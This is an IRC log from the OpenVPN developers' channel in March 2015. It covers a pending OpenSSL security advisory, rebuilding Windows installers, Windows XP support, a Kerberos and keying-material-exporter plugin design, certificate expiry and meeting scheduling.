#openvpn-devel 12:35 -!- mode/#openvpn-devel [+o pekster] by ChanServ 12:46 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 256 seconds] 12:48 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 12:48 -!- mode/#openvpn-devel [+o pekster] by ChanServ 12:55 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 265 seconds] 13:11 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 13:11 -!- mode/#openvpn-devel [+o pekster] by ChanServ 13:50 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: AF_INET -> AF_INET6] 13:51 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 13:51 -!- mode/#openvpn-devel [+o pekster] by ChanServ 15:07 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Changing host] 15:07 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 15:07 -!- ServerMode/#openvpn-devel [+o pekster] by sendak.freenode.net 15:40 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 15:42 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 252 seconds] --- Day changed Sun Mar 15 2015 03:16 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 03:50 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:50 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:59 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:02 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 05:07 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:07 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 09:13 <@ecrist> dazo_afk: Do you still do any work on Eurephia? 09:44 <@ecrist> anyone alive this morning? 09:44 -!- Irssi: #openvpn-devel: Total of 31 nicks [12 ops, 0 halfops, 2 voices, 17 normal] 11:20 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 11:20 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 12:03 <@cron2_> ecrist: not me 12:36 <@ecrist> heh 15:14 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 19:18 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 19:19 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 19:24 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 19:25 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Mon Mar 16 2015 02:11 -!- mattock_afk is now known as mattock 03:15 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:15 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 03:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:47 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:24 -!- dazo_afk is now known as dazo 04:25 <@dazo> ecrist: eurephia is not dead, if that's what your asking :) Yeah, whenever I have time to hack on it, I do that 05:15 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 06:27 -!- Linmu [~Linmu@220-128-210-232.HINET-IP.hinet.net] has quit [Ping timeout: 256 seconds] 06:28 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn-devel 06:47 <@cron2_> mattock: let's aim for a meeting next monday 06:47 <@cron2_> (not today, travelling) 06:47 <@mattock> cron2_: ok, sounds good 06:48 <@cron2_> pick up speed again on the windows stuff, macosx keychain patches (what are we missing? doc, ack?), 2.3.7 patches, ... 06:51 -!- Linmu_ [~Linmu@220-128-210-232.HINET-IP.hinet.net] has joined #openvpn-devel 06:54 <@mattock> d12fk merged some of my openvpn-gui.nsi patches, so he has not been entirely absent recently 06:54 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 252 seconds] 09:49 -!- mattock is now known as mattock_afk 10:22 -!- _bt [~bt@unaffiliated/bt/x-192343] has quit [Quit: bye] 11:01 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 11:33 -!- mattock_afk is now known as mattock 11:48 <@vpnHelper> RSS Update - tickets: #530: OpenVPN-GUI Dynamic client FQDN and cryptoapi certificate selection <https://community.openvpn.net/openvpn/ticket/530> 14:39 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 15:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 15:33 -!- mattock is now known as mattock_afk 17:50 -!- dazo is now known as dazo_afk --- Day changed Tue Mar 17 2015 02:02 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:02 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:21 <@cron2_> mattock: you have seen https://mta.openssl.org/pipermail/openssl-announce/2015-March/000020.html ? 02:21 <@vpnHelper> Title: [openssl-announce] Forthcoming OpenSSL releases (at mta.openssl.org) 02:21 <@cron2_> "something is coming, we might need to do a release on thursday" 02:52 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 245 seconds] 02:55 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:56 <@mattock> cron2_: ok, I hope I'm in adequate condition by then... I've had fairly high fever since last Saturday 04:06 <@cron2_> mattock: ouch. Back to bed! 04:06 <@cron2_> but it seems to be not so critical, word is that "the new High is 1.0.2 only, other versions new issues just Moderate and Low" 04:17 -!- dazo_afk is now known as dazo 04:54 <@dazo> Have any of you gotten an e-mail from Feng Cheng? Got a private email related to the SSL implementation in OpenVPN .... :/ 05:55 <@cron2_> not me 06:51 <@plaisthos> something serious? 07:07 <@dazo> plaisthos: hard to say ... was related to the parsing and processing of the initial TLS packets, when and how the first packets are transmitted 07:07 <@dazo> which makes me wonder somewhat .... I asked the person to bring this question to the -devel list instead 07:46 <@syzzer> dazo: haven't seen that, could you forward it in the mean time? 07:52 <@dazo> syzzer: done :) 07:54 <@syzzer> thanks, just read it, sounds just confused to me :) 08:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 08:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:34 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:03 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 13:20 <+krzee> hey dazo didnt you show me some method of filtering logs in management interface? is that documented anywhere? iirc it was awesome, but for all i know it could have just been a dream 13:21 <@dazo> krzee: I think that's a dream ... I showed you how to do it using journalctl, though 13:21 <+krzee> ohhhhh thats what it was 13:22 <+krzee> ok thx, i got that mixed up 13:22 <@dazo> :) 13:23 <+krzee> i hacked 2 more models of snom voip phones, playing around on inside now 13:24 <+krzee> annoying that 2 are arm and 1 is mips 13:29 <@dazo> cool ... well, embedded is complicated in regards to config, boot and device discovery 13:37 <+krzee> yepyep 13:38 <+krzee> but at least snom was kind enough to still just totally disregard security :D 13:39 <+krzee> i was scared that they might have beefed it up cause i was forced to the newest firmware… but nope, just doesnt seem to matter to them (which is fine cause i disable the web interface after doing my thing while provisioning) 14:14 -!- esde [~esde@openvpn/user/esde] has quit [Quit: .] 14:14 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 14:30 -!- dazo is now known as dazo_afk 14:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:38 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 15:38 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 19:03 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 19:03 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 19:22 -!- s7r_b [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 19:24 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 256 seconds] 19:30 -!- s7r_b [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 23:07 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 264 seconds] --- Day changed Wed Mar 18 2015 00:32 -!- tsing [~tsing@gintama.tsing.org] has joined #openvpn-devel 00:51 -!- tsing [~tsing@gintama.tsing.org] has quit [Remote host closed the connection] 02:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:00 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:18 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 13:47 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 14:13 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 14:13 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 14:17 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 20:28 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 264 seconds] 20:28 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 23:00 -!- tsing [~tsing@gintama.tsing.org] has joined #openvpn-devel 23:06 -!- tsing [~tsing@gintama.tsing.org] has quit [Remote host closed the connection] 23:06 -!- tsing [~tsing@gintama.tsing.org] has joined #openvpn-devel --- Day changed Thu Mar 19 2015 01:38 -!- tsing [~tsing@gintama.tsing.org] has quit [Remote host closed the connection] 02:01 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:01 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:41 -!- dazo_afk is now known as dazo 05:00 <@cron2_> aaaargh... how i hate this certificate crap... my openvpn server cert is nicely still valid (I checked this!) but the CA cert expired 05:00 <@cron2_> how can anyone stand this insanity 05:47 <@dazo> cron2_: I use CA's with 20 years expiry ;-) 05:48 <@dazo> but XCA (which I use for cert management) doesn't allow client certs expiring later than the CA 05:58 <@mattock_afk> no openssl release yet it seems 06:29 <@dazo> mattock_afk: just sent you an e-mail 07:05 <@cron2_> dazo: now that sounds like a good HEADS UP :-) (but still, expiring CA cert is very annoying) 07:05 <@dazo> cron2_: well, you can have your CA without expiry too, I believe :) 07:06 <@cron2_> well, you could have 99 years, of course, but I'm sure syzzer would slap me for doing so :) 07:08 <@dazo> heh ... yupp ... but it all depends on your security need 07:10 <@dazo> Last time I setup a new VPN server at home, I set up a master CA with 100 years ... and then have a sub-CA with a shorter life-time tackling VPN connections ... not because I need it, but to get acquainted with such setups 08:46 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:12 < Hes> there it is now: http://www.openssl.org/news/secadv_20150319.txt 09:21 <@syzzer> not so exciting for us it seems - all the fun vulns are in 1.0.2 :p 09:22 <@syzzer> hmm, "support for OpenSSL versions 09:22 <@syzzer> 1.0.0 and 0.9.8 will cease on 31st December 2015" 09:31 <@dazo> the ASN.1 parser issue may impact us 09:32 <@dazo> I don't know if we do such reuses of ASN.1 stuff when we're parsing certificates 09:35 <@dazo> syzzer: that 1.0.0 and 0.9.8 support ... that's basically just throwing the responsibility over to distros if they want to keep it alive longer (which RH will need to do - due to RHEL5) 09:35 <@dazo> (RHEL6 and RHEL7 is based on openssl-1.0.1e) 09:50 < n13l> hi dazo: i have been thinkin about some small EKM demo without success. when you want to start with that Kerb. channel binnding ? 09:51 <@dazo> n13l: yupp ... channel binding is one thing ... but implementing kerb support is no easy task :) 09:52 < n13l> dazo: of course ;) but I could contribute some code for kerb support (im also interest) 09:53 <@dazo> n13l: I've written some code for it already, adapting the GSSAPI process to match openvpn's need ... the only trouble is that only empty GSSAPI requests (without tickets info) is transmitted over the wire :-P 09:53 <@dazo> I've done something wrong with the gssapi init somewhere 09:54 <@dazo> haven't had time in a long time to dig into why yet ... but that's where I am right now 09:54 < n13l> and do you play to contribute kerb support directly into openvpn's code base ? 09:54 <@dazo> yeah 09:55 <@dazo> I'm trying to make it fit into as a plug-in ... at least for server-side auth support 09:55 < n13l> so if you interest you can push ur code github somewhere and i can join :) 09:55 <@dazo> What about another simple use case .... automatically getting a log-in token which can be used for accessing a some services 09:55 < n13l> yup 09:56 < n13l> ticker granting service should generate tickets 09:56 <@dazo> the server side plugin updates a database with these shared keying materials ... and a simple client script which is kicked off adding the token for a, say a, web service 09:56 < n13l> so kerb (keyagreement) phase should be skipped right ? 09:57 <@dazo> nope ... I'm doing the full GSSAPI protocol support ... as we need tickets to be transferred to the client to get SSO 09:57 < n13l> so what about some small "proof of concept" doc ? doc/kerb-channel-bindings.txt (with reference to doc/keying-material-exporter.tx 09:58 <@dazo> maybe ... I still fear that will be too "crypto confusing" for cron2_ :) 09:59 < n13l> i think that it is right "from conceptual point of view" to add some real use case into generig EKM spec 09:59 < n13l> "it is not" 09:59 < n13l> btw how exactly u want to transfer tickets ? vpn layer ? tls layer ? 10:00 <@dazo> n13l: that comes into play with IAKERB, which is the next step when basic GSSAPI support is in place 10:02 <@dazo> the GSSAPI layer can be provided with username/password ... and using the GSSAPI layers, the password itself will not be transferred to the server, but enough info for the KDC to send a preliminary response back to the openvpn server to say SUCCESS or FAILED 10:02 < n13l> dazo: ad simplke use case related to log-in token which can be used for accessing some services. like WWW ? that requires some king of module against (apache for example) 10:03 < n13l> dazo: yy i understand that concept (EKM part of token should not be transfered ofc) :) 10:03 <@dazo> on success, another handshake goes between openvpn client and server, through the GSSAPI layers ... and you'll get a ticket locally 10:03 <@dazo> right 10:05 <@dazo> so ... have a client plug-in which on TLS_FINAL saves the EKM and on ROUTE_UP calls a script which does some service calls to the a server over the VPN. This call somehow includes data from the EKM. 10:05 < n13l> hmhm 10:05 <@dazo> the openvpn server has a plug-in which on TLS_FINAL updates a list of connected clients and the EKM 10:06 <@dazo> and the service behind the openvpn server receives the EKM-data from the client, does a call against the database openvpn server plug-in keeps updated .... and you have an authentication, based on the OpenVPN auth 10:07 <@dazo> it's not a very useful real-life use-case ... but it shows some possibilities how EKM can be used by applications outside OpenVPN 10:07 < n13l> hm ye 10:08 <@dazo> the service server and the client caller can in this case just be very simple Python scripts 10:11 < n13l> well but client script will always return "authenticated" when VPN is established (except there is no EKM support ofc) 10:12 <@dazo> right ... but only requests to this server going via a VPN are successful ... the LAN side behind the server will not be accessible 10:12 <@dazo> and the server plug-in can also collect CN and attach it to the EKM ... to have some more "useful" info 10:19 <@mattock_afk> ah now the new openssl release is out there 10:20 < n13l> dazo: ok i will try to transform your ideas ingo sample plugin during weekend 10:20 < n13l> /s/ingo/into 10:26 <@mattock_afk> I'm building new Windows installers now 10:26 <@mattock_afk> I'll push them to the downloads pages but probably won't make a big fuss out of it 10:27 <@mattock_afk> if I understood correctly none of the OpenSSL vulnerabilities was particularly grave for OpenVPN 10:27 <@dazo> makes sense 10:27 <@mattock_afk> btw. did we decide on when to drop official NDIS 5 support? 10:27 <@dazo> mattock_afk: not that I recall 10:28 <@mattock_afk> do we know if people are still on XP? 10:28 <@mattock_afk> like in large numbers 10:28 <@dazo> ehm .... I guess so ... like Chinese users and such :-P 10:28 <@mattock_afk> good point :P 10:28 <@mattock_afk> I would guess even they have more recent copies of Windows by now 10:28 <@dazo> http://www.netmarketshare.com/operating-system-market-share.aspx?qprid=10&qpcustomd=0 10:28 <@vpnHelper> Title: Operating system market share (at www.netmarketshare.com) 10:29 <@dazo> (not sure how that data is collected ... but it's an indication) 10:29 <@mattock_afk> the "real" number might be something like that 10:29 <@dazo> http://www.pcworld.com/article/2878774/windows-7-and-windows-xp-show-no-signs-of-dying.html 10:29 <@vpnHelper> Title: Windows 7 and Windows XP show no signs of dying | PCWorld (at www.pcworld.com) 11:05 -!- dazo is now known as dazo_afk 11:57 <@mattock_afk> http://openvpn.net/index.php/download/community-downloads.html 11:57 <@vpnHelper> Title: Community Downloads (at openvpn.net) 11:58 <@mattock_afk> I could not do much smoketesting due to technical difficulties, but I'm fairly confident the installers are not horribly broken 11:59 <@mattock_afk> I'll monitor my emails so that if sobody starts shouting I can immediately roll back links to the old release 12:49 <@cron2_> mattock_afk: we've decided to keep NDIS5 and XP support for the time being, "if it is not too hard". If it starts making our life troublesome, we drop. 12:49 <@cron2_> but I think we also considered having both NDIS5 and NDIS6 tap driver in the same installer, so you can stop rolling two extra packages each time 13:07 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 13:41 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 14:17 <@mattock_afk> cron2_: I also recall we deciding to drop XP support in 2.4 14:17 <@mattock_afk> so basically XP would only be supported in older 2.3.x -based builds 14:18 <@mattock_afk> which I assume would not be actively maintained after 2.4 goes stable 14:18 <@mattock_afk> similarly to what happened with 2.2.2 when 2.3.0 came out 14:20 <@cron2_> mattock: we discussed that (in the context of the interactive service which won't work on XP) but since we don't actually *need* the iservice there, we decided to not actively discontinue XP 14:20 <@cron2_> might be in the notes from the hackathon 15:09 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 15:10 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 15:39 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 15:39 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 16:00 -!- s7r_s [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 16:03 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 250 seconds] 16:23 -!- s7r_s [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 16:23 -!- s7r_s [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 19:01 -!- s7r_s is now known as s7r 20:48 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 21:20 -!- tsing [~tsing@gintama.tsing.org] has joined #openvpn-devel --- Day changed Fri Mar 20 2015 00:18 -!- Linmu [~Linmu@220-128-210-232.HINET-IP.hinet.net] has joined #openvpn-devel 01:01 -!- Linmu [~Linmu@220-128-210-232.HINET-IP.hinet.net] has quit [Quit: leaving] 01:01 -!- Linmu_ [~Linmu@220-128-210-232.HINET-IP.hinet.net] has quit [Quit: leaving] 01:02 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:02 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:03 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 02:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:14 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:14 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:17 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 02:47 <@mattock1> I've been spoiled by an SSD in my new, smaller travel laptop 02:47 <@mattock1> now when I use my primary laptop the HDD seems so sluggish 02:48 <@mattock1> big mistake 02:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 02:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:06 -!- dazo_afk is now known as dazo 05:04 <@vpnHelper> RSS Update - tickets: #531: Best Muscle Building Supplements – Buy Online Anabolic Rx24 Muscle Supplement <https://community.openvpn.net/openvpn/ticket/531> 05:30 -!- tsing [~tsing@gintama.tsing.org] has quit [Remote host closed the connection] 05:31 -!- tsing [~tsing@gintama.tsing.org] has joined #openvpn-devel 05:36 -!- tsing [~tsing@gintama.tsing.org] has quit [Remote host closed the connection] 05:36 -!- tsing [~tsing@gintama.tsing.org] has joined #openvpn-devel 06:11 -!- tsing [~tsing@gintama.tsing.org] has quit [Quit: Leaving...] 07:54 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 11:07 <@vpnHelper> RSS Update - tickets: #532: Misleading messages when trying to connect with an expired certificate <https://community.openvpn.net/openvpn/ticket/532> 12:09 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 13:14 -!- dazo is now known as dazo_afk 14:10 <@cron2_> plaisthos: do you read openvpn-users? 15:08 <@vpnHelper> RSS Update - tickets: #531: spam <https://community.openvpn.net/openvpn/ticket/531> 15:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 19:25 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 20:23 <@plaisthos> cron2_: nope --- Day changed Sat Mar 21 2015 02:47 -!- mattock_afk is now known as mattock 02:53 -!- mattock is now known as mattock_afk 03:07 -!- mattock_afk is now known as mattock 04:01 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 04:01 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 07:19 <@vpnHelper> RSS Update - gitrepo: Remove count_netmask_bits(), convert users to use netmask_to_netbits2() <https://github.com/OpenVPN/openvpn/commit/ec2fbf374f018366c18644d271cd4d793d04244b> || Fix incorrect use of get_ipv6_addr() for iroute options. <https://github.com/OpenVPN/openvpn/commit/e8562d5531277ee4dd7c517ef68e87af077ac948> || Change float log message to include common name, if available. <https://github.com/OpenVPN/openvpn/commit/bac 10:35 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Quit: Bye] 10:37 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 13:54 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:54 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 15:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 15:09 -!- mattock is now known as mattock_afk 15:55 <@cron2_> what did vpnhelper drink? 15:55 <@cron2_> plaisthos: so that's why you don't answer Android questions there :) 16:25 <@vpnHelper> RSS Update - tickets: #533: openvpn should check the tap interface will work before even attempting server connection <https://community.openvpn.net/openvpn/ticket/533> 16:29 <@plaisthos> cron2_: yeah, are there many android questions? 16:29 <@plaisthos> cron2_: if yes, I should perhaps subscribe 18:15 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 246 seconds] 22:57 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 22:59 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Mar 22 2015 00:20 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 00:23 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 00:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:21 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 01:39 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:54 <@cron2_> plaisthos: two, I think, in the last weeks - and none before that, so it's not essentially important 04:33 -!- mattock_afk is now known as mattock 06:37 <@plaisthos> 06:38 <@plaisthos> cron2_: kk 12:08 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 12:26 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 12:26 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 13:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:46 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:45 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 250 seconds] 14:55 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 14:55 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 16:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 16:20 -!- mattock is now known as mattock_afk 17:17 -!- bootsWitDaFur [~Adium@cpe-68-173-46-105.nyc.res.rr.com] has joined #openvpn-devel 18:07 <@vpnHelper> RSS Update - tickets: #534: Have to reinstall Tap driver every time I restart windows (Windows 7 64Bit) <https://community.openvpn.net/openvpn/ticket/534> 19:05 -!- bootsWitDaFur [~Adium@cpe-68-173-46-105.nyc.res.rr.com] has quit [Quit: Leaving.] 21:30 -!- tsing [~tsing@gintama.tsing.org] has joined #openvpn-devel 22:19 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 22:21 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Mar 23 2015 01:52 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:52 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:56 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 02:00 <@vpnHelper> RSS Update - tickets: #535: Fat Loss In Few Days - HCG Diät Pills <https://community.openvpn.net/openvpn/ticket/535> 03:24 <@vpnHelper> RSS Update - tickets: #535: SPAM <https://community.openvpn.net/openvpn/ticket/535> 03:25 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:25 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 03:26 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:40 -!- dazo_afk is now known as dazo 04:15 <@syzzer> so, meeting tonight or no meeting tonight? 04:16 <@syzzer> I recall somthing like that. mattock_afk, cron2_? 04:25 * cron2_ has not seen an announcement :) - but I thought we do one 06:36 -!- tsing [~tsing@gintama.tsing.org] has quit [Quit: Leaving...] 07:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 08:42 <@plaisthos> syzzer: we managed to break a users config: https://plus.google.com/u/0/105289950204776540814/posts/5U96XULDqxZ?cfem=1 09:09 <@cron2_> I wonder if we should be sorry or happy... 09:15 <@plaisthos> cron2_: well having a server.key on the client for tls-auth does sound very wrong to me 09:24 <@plaisthos> cron2_: if there many people having problem with that, we might need to implement a --genkey variants that uses the sha1 hash of a file as first 20 random to give users an upgrade path 09:30 <@cron2_> indeed, "if" :) 09:31 <@plaisthos> hm looking through james (albeit old v3 source code) it seems it also only supports --genkey keys 10:43 <@plaisthos> this user has exchanged the keys :) 13:32 <@cron2_> well, since mattock has gone into sickness leave, I think we don't do a meeting today (and I don't particularily feel like one either, as the kids are particularily ... demanding today) 13:40 <@mattock> oh shit yes 13:40 <@mattock> why did I not put the meeting into my calendar 13:40 <@mattock> I'm here 13:44 <@mattock> I wonder if we could move back to meeting on non-Mondays... historically these Monday meetings have been quite unsuccessful 13:45 <@mattock> optimally you'd need a reminders on Friday and Monday or somebody will forget or won't be available 13:47 <@syzzer> Monday is ok for me, but Thursday worked better for me 13:58 <@mattock> for me the problem with Monday is that _if_ I don't remember there should be a meeting, it's game over basically 13:59 <@mattock> and because there has been a weekend between, it's somewhat unlike I will remember what was agreed upon last week or so 13:59 <@mattock> so if I forget to add reminders for both "announcing the meeting" and "the meeting" I will forget one or the other 14:00 <@mattock> I don't recall having this issue when the meeting were on Thursdays, so it's not just my brain getting more sour due to age :D 14:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:01 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:03 <@cron2_> Thursday is not as good to me, as there is a high chance of conflict... so, can we just get mattock to use Google calendar, and all put reminders in his calender then? 14:04 -!- Netsplit *.net <-> *.split quits: esde 14:04 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 14:04 <@mattock1> I have more calendars than I need 14:04 -!- Netsplit over, joins: esde 14:05 <@mattock1> the problem is remembering to put things into the calendar 14:05 <@mattock1> alternatively you could send the meeting announcement yourself, if I have not actively remembered it until, say, noon on Monday 14:05 <@mattock1> I think remembering the announcement is the first thing we need to fix 14:06 <@cron2_> mattock1: why not send the announcement earlier ("when we agree to have a meeting"), and put it into your calendar then? 14:06 <@mattock1> if the announcement is sent on Friday I doubt many remember it by Monday 14:07 <@mattock1> of course it would be best to send the announcement immediately when the meeting has been agreed upon 14:07 <@cron2_> then let's send a reminder on monday, based on the calendar reminder you put in for yourself? :) 14:07 <@mattock1> that is what we've tried to do so far :P 14:07 <@mattock1> anyways, next Monday? 14:07 <@cron2_> yes! 14:07 <@mattock1> ok, putting it to my calendar 14:08 <@mattock1> I wonder if we could automate the reminder somehow... 14:08 <@mattock1> so that we could send the announcement immediately when we decide to have a meeting 14:09 <@cron2_> openvpn --anounce-meeting 14:09 <@cron2_> we can put anything into openvpn 14:09 <@mattock1> that could work :P 14:10 <@mattock1> now there are reminders 14:10 <@mattock1> topics? 14:10 <@cron2_> 